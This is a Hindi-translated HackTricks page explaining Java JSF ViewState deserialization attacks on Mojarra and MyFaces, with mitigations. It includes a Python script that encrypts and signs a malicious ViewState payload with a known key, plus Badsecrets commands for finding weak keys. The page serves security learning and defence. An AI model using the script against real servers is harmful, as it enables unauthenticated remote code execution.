Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

28 KiB
Raw Blame History

☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

परिचय

हमने गलत ढंग से कॉन्फ़िगर किए गए JSON पुस्तकालयों के माध्यम से RCE पर एक नज़र डाली थी, उसके बाद हमने JSF अमलानुसार ViewStates का विश्लेषण किया। JavaServer Faces (JSF) एक यूज़र इंटरफ़ेस (UI) प्रौद्योगिकी है जो पुनर्योग्य घटकों के साथ वेब UI बनाने के लिए उपयोग होती है। JSF अधिकांश उद्योगी अनुप्रयोगों के लिए उपयोग होता है और एक JSF अमलानुसारन को आमतौर पर जावा अनुप्रयोग सर्वर जैसे JBoss EAP या WebLogic सर्वर पर चलने वाले वेब अनुप्रयोग द्वारा उपयोग किया जाता है। JSF विनिमय के दो प्रसिद्ध अमलानुसारन हैं:

  • Oracle Mojarra (JSF संदर्भ अमलानुसारन)
  • Apache MyFaces

सीमा

इस ब्लॉग पोस्ट में हम दो JSF 2.x अमलानुसारन पर ध्यान केंद्रित करेंगे: Oracle Mojarra (संदर्भ अमलानुसारन) और Apache MyFaces। पुराने अमलानुसारन (JSF 1.x) को भी इस पोस्ट में वर्णित सुरक्षा दोषों का प्रभावित होने का संभावना है। (JSF 2.0.x को 2009 में प्रथम बार जारी किया गया था, वर्तमान संस्करण 2.3.x है)।

ViewState की स्थिति

JSF और समकक्ष वेब प्रौद्योगिकियों के बीच एक अंतर है कि JSF ViewStates (सत्रों के अलावा) का उपयोग व्यू की वर्तमान स्थिति (उदाहरण के लिए, वर्तमान में कौन से हिस्से दिखाए जाएं) को संग्रहित करने के लिए करता है। ViewState को सर्वर या ग्राहक पर संग्रहीत किया जा सकता है। JSF ViewStates को आमतौर पर HTML फ़ॉर्म में छिपे हुए फ़ील्ड के रूप में स्वचालित रूप से समाविष्ट किया जाता है, जिसका नाम javax.faces.ViewState होता है। यदि फ़ॉर्म सबमिट किया जाता है, तो वे सर्वर को वापस भेजे जाते हैं।

सर्वर-साइड ViewState

यदि JSF ViewState को सर्वर पर स्थापित किया जाता है, तो छिपे हुए javax.faces.ViewState फ़ील्ड में एक आईडी होती है जो सर्वर को सही स्थिति प्राप्त करने में मदद करती है। MyFaces के मामले में वह आईडी एक संकलित जावा ऑब्जेक्ट होती है!

ग्राहक-साइड ViewState

यदि JSF ViewState को ग्राहक पर स्थापित किया जाता है, तो छिपे हुए javax.faces.ViewState फ़ील्ड में एक संकलित जावा ऑब्जेक्ट होती है जो कम से कम Base64 कोडिंग होती है। आपने शायद अब तक यह ध्यान दिया होगा कि यह एक संभावित आपदा का मार्ग है! शायद यही कारण है कि आजकल JSF ViewStates को ग्राहक को भेजने से पहले

ViewState पर हमला

चलो मान लेते हैं कि हमारे पास एक वेब एप्लिकेशन है जिसमें एक JSF आधारित लॉगिन पेज है:

JSF आधारित लॉगिन

उस लॉगिन पेज में ViewState है जो न तो एन्क्रिप्टेड है और न ही साइन है। इसलिए जब हम इसके HTML स्रोत को देखते हैं तो हमें ViewState को समेत करने वाले एक छिपा हुआ फ़ील्ड दिखाई देता है: अनएन्क्रिप्टेड MyFaces ViewState:

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

यदि आप Base64 का उपयोग करके ऊपर दिए गए ViewState को डिकोड करें, तो आप देखेंगे कि इसमें एक सीरीयलाइज़ किया गया जावा ऑब्जेक्ट है। जब फ़ॉर्म सबमिट किया जाता है (उदाहरण के लिए, लॉगिन पर क्लिक करें), तो यह ViewState POST के माध्यम से सर्वर को वापस भेजा जाता है। अब ViewState को सर्वर को वापस POST करने से पहले ही हमलावर अपने खुद के विषादी ViewState को एटैकर ViewState के साथ बदल देता है, जो पहले से ही सर्वर के क्लासपथ पर मौजूद होता है (उदाहरण के लिए, InvokerTransformer commons-collections-3.2.1.jar से) या यहां तक कि जनता के लिए अभी तक नहीं जाना जाने वाला एक गैजेट। इस खतरनाक गैजेट को ViewState में रखकर हमलावर स्पष्ट करता है कि वह किस कमांड को सर्वर पर चलाना चाहता है। एक अटैकर की क्षमता उपलब्ध गैजेट्स की क्लासपथ की सीमा द्वारा सीमित होती है। InvokerTransformer के मामले में, हमलावर सर्वर पर कौन से कमांड लाइन कमांड चलाना चाहता है, वह निर्धारित कर सकता है। हमारे उदाहरण में हमलावर ने हमारे लिनक्स आधारित सर्वर के UI पर कैलकुलेटर शुरू करने का चयन किया।

जब अटैकर ने अपने संशोधित फ़ॉर्म को सर्वर को वापस भेजा है, तो JSF कार्यान्वयन प्रदान किए गए ViewState को डिसीरियलाइज़ करने का प्रयास करता है। अब विषादीकरण के पहले ही ViewState के अंत हो जाने पर कमांड चलाया जाता है और कैलकुलेटर सर्वर पर शुरू हो जाता है:

JSF ViewState के माध्यम से शुरू हुआ कैलकुलेटर

यह सब कुछ JSF कार्यान्वयन ViewState को देखने और यह निर्णय करने से पहले हो गया था कि यह अच्छा नहीं था। जब ViewState को अमान्य पाया गया था, तो आमतौर पर त्रुटि का जवाब क्लाइंट को भेजा जाता है जैसे "व्यू समाप्त हो गई है"। लेकिन फिर भी यह बहुत देर हो चुकी थी। हमलावर को सर्वर तक पहुंच मिल गई थी और कमांड चला दी गई थी। (अधिकांश वास्तविक दुनिया के हमलावर कैलकुलेटर शुरू नहीं करते हैं, लेकिन वे आमतौर पर एक रिमोट शेल डिप्लॉय करते हैं, जिसे वे फिर सर्वर तक पहुंचने के लिए उपयोग करते हैं।)

=> समग्र रूप से यह उदाहरण एक बहुत खतरनाक गैर प्रमाणीकृत दूरस्थ कोड निष्पादन (RCE) संकट का एक बहुत अच्छा उदाहरण प्रदर्शित करता है।

(जैसा कि पहले चित्रित किया गया जेएसएफ़ के खिलाफ लगभग वही हमला परिदृश्य ऊपर वर्णित किया गया था और 2015 के प्रस्तुति में भी दिखाया गया था (पृष्ठ 65 से 67 तक): Marshalling Pickles जिसे फ्रोहोफ और लॉरेंस ने आयोजित किया था।)

एक सफल हमले के लिए पूर्वापेक्षाएं

अब, एक आपदा के लिए क्या घटक हैं?

  • अनएन्क्रिप्टेड ViewState (या, एन्क्रिप्शन कुंजी के स्वामित्व)
  • सर्वर की क्लासपथ पर गैजेट
  • Mojarra के मामले में: ViewState को client पर स्थापित करना
  • MyFaces के मामले में: ViewState को client या server पर स्थापित करना

चलिए दोनों JSF कार्यान्वयनों के संबंध में उन बिंदुओं पर एक नज़र डालें।

ओरेकल मोजारा (JSF संदर्भ अमलीय)

जैसा कि पहले कहा गया है, ओरेकल मोजारा JSF संदर्भ अमलीय है लेकिन उस नाम के तहत जाना नहीं जा सकता है। यह सन JSF RI के रूप में जाना जा सकता ह

Mojarra: ViewState को क्लाइंट पर संरक्षित करने के लिए कॉन्फ़िगर किया गया है

Mojarra की डिफ़ॉल्ट javax.faces.STATE_SAVING_METHOD सेटिंग server है। विकासक को इसे मैन्युअल रूप से client में बदलना होगा ताकि Mojarra उपरोक्त विधि के हमले के प्रति संक्रमित हो सके। यदि सीरीयलाइज़्ड ViewState को सर्वर पर भेजा जाता है लेकिन Mojarra server साइड ViewState सेव का उपयोग करता है, तो यह उसे डिसीरियलाइज़ नहीं करेगा (हालांकि, StringIndexOutOfBoundsException हो सकती है)।

Mojarra: सुरक्षा उपाय

Mojarra का उपयोग करते समय सर्वर-साइड ViewState का उपयोग करने के लिए कुछ भी करने की आवश्यकता नहीं होती है।

Mojarra < 2.2 का उपयोग करते समय और क्लाइंट-साइड ViewState का उपयोग करने के लिए निम्नलिखित संभावित सुरक्षा उपाय हैं:

  • Mojarra को 2.0.11-04 या 2.1.29-08 में अपडेट करें।
  • क्लाइंट-साइड ViewState की बजाय सर्वर-साइड ViewState का उपयोग करें।
  • पुराने संस्करणों के Mojarra का उपयोग करते समय और अपडेट या सर्वर-साइड ViewState में स्विच करने की संभावना न होने पर: एक अस्थायी समाधान के रूप में ViewState पासवर्ड सेट करें और सुनिश्चित करें कि यह सही पैरामीटर है (अनिवार्य रूप से संबंधित दस्तावेज़ीकरण में दिया गया पासवर्ड नहीं होना चाहिए)

बाद के Mojarra संस्करणों के लिए:

  • पैरामीटर के माध्यम से ViewState एन्क्रिप्शन अक्षम नहीं है यह सुनिश्चित करें: com.sun.faces.disableClientStateEncryption

Apache MyFaces

Apache MyFaces एक और बड़ा और व्यापकता से उपयोग होने वाला JSF अमलानुसारी है।

MyFaces: अनएन्क्रिप्टेड ViewState

MyFaces डिफ़ॉल्ट रूप से ViewState को एन्क्रिप्ट करता है, जैसा कि उनके सुरक्षा कॉन्फ़िगरेशन विकि पृष्ठ में उल्लेख किया गया है:

एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम होता है। ध्यान दें कि उत्पादन वातावरण में एन्क्रिप्शन का उपयोग किया जाना चाहिए और इसे अक्षम करना केवल परीक्षण/विकास वातावरण में मान्य हो सकता है।

हालांकि, पैरामीटर org.apache.myfaces.USE_ENCRYPTION को false पर सेट करके ViewState एन्क्रिप्शन को अक्षम किया जा सकता है। (यह एन्क्रिप्शन का उपयोग करना संभव होगा लेकिन एक आसान अनुमान लगाने योग्य पासवर्ड सेट करना भी संभव होगा)। डिफ़ॉल्ट रूप से MyFaces हर सर्वर पुनरारंभ के साथ ViewState एन्क्रिप्शन सीक्रेट को बदलता है।

डिफ़ॉल्ट रूप से MyFaces DES का उपयोग एन्क्रिप्शन एल्गोरिदम और HMAC-SHA1 का उपयोग ViewState की प्रमाणिति करने के लिए करता है। AES और HMAC-SHA256 जैसे नवीनतम एल्गोरिदम कॉन्फ़िगर करना संभव और अनुशंसित है।

MyFaces: ViewState को क्लाइंट पर संरक्षित करने के लिए कॉन्फ़िगर किया गया है

MyFaces की डिफ़ॉल्ट javax.faces.STATE_SAVING_METHOD सेटिंग server है। लेकिन: MyFaces हमेशा ViewState को डिसीरियलाइज़ करता है, चाहे उस सेटिंग के बावजूद। इसलिए, MyFaces का उपयोग करते समय एन्क्रिप्शन को अक्षम न करें का बहुत महत्व है!

(हमने MyFaces बग ट्रैकर में एक मुद्दा बनाया है: MYFACES-4133 स्थिति सहेजने की विधि सर्वर होने पर ViewState-ID को डिसीरियलाइज़ न करें, शायद इस बार सुरक्षित डिफ़ॉल्ट की इच्छा पूरी हो जाएगी।)

MyFaces: सुरक्षा उपाय

MyFaces का उपयोग करते समय सर्वर-साइड ViewState की एन्क्रिप्शन को अक्षम न करें (द्वारा org.apache.myfaces.USE_ENCRYPTION) चाहे ViewState क्लाइंट पर संग्रहित हो या सर्वर पर।

कस्टम एन्क्रिप्शन

यदि किसी तरह से आप पासवर्ड चोरी करने में सफल होते हैं, तो आप वेब सर्वर पर हमला करने के लिए इस स्क्रिप्ट का उपयोग करके पेलोड को एन्क्रिप्ट और साइन कर सकते हैं:

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload

def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + "  [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Badsecrets के साथ ज्ञात कुंजी का पता लगाना

Badsecrets एक पुस्तकालय है जो उपयोग की जानी वाली या कमजोर कुंजियों की सूची के खिलाफ जांच करके उत्पादों को देखकर ज्ञात तकनीकी कुंजियों का उपयोग पता लगा सकती है। इसका Jsf_viewstate मॉड्यूल Mojarra और MyFaces दोनों पर ज्ञात कुंजियों के साथ बनाए गए जावा सर्वर फेस व्यूस्टेट का पता लगा सकता है, साथ ही असुरक्षित या संपीडित व्यूस्टेट्स का भी।

इसे सबसे तेज़ तरीके से उपयोग करने के लिए cli.py उदाहरण उपकरण के साथ निम्नलिखित रूप में किया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=

यदि यह मिलता है, तो यह भी प्लेटफ़ॉर्म (Mojarra या MyFaces), उपयोग में एन्क्रिप्शन एल्गोरिदम, और कंप्रेशन का उपयोग करता है या नहीं, जो सभी उत्पीड़न के लिए आवश्यक हैं।

व्यापक मात्रा में खोजने के लिए, सबडोमेन गणना के साथ, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

अंतिम विचार

इस ब्लॉग पोस्ट में दिए गए जेएसएफ व्यूस्टेट के बारे में अधिकांश तथ्य और उनके खतरों को नए नहीं कहा गया है, लेकिन ऐसे संक्षेपित तरीके में कभी पेश नहीं किया गया था। यह एक बार फिर से दिखाया गया है कि दिखावटी रूप से हानिकारक कॉन्फ़िगरेशन बदलाव गंभीर सुरक्षा खतरों का कारण बन सकते हैं।

=> एक समस्या में यह लगता है कि सुरक्षा शोधकर्ताओं और विकासकर्ताओं के बीच पर्याप्त ज्ञान संचार नहीं होता है, जो वास्तव में उन लाइब्रेरीज़ का उपयोग करते हैं और कॉन्फ़िगर करते हैं जो निश्चित तरीके से खतरनाक हो सकती हैं।

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥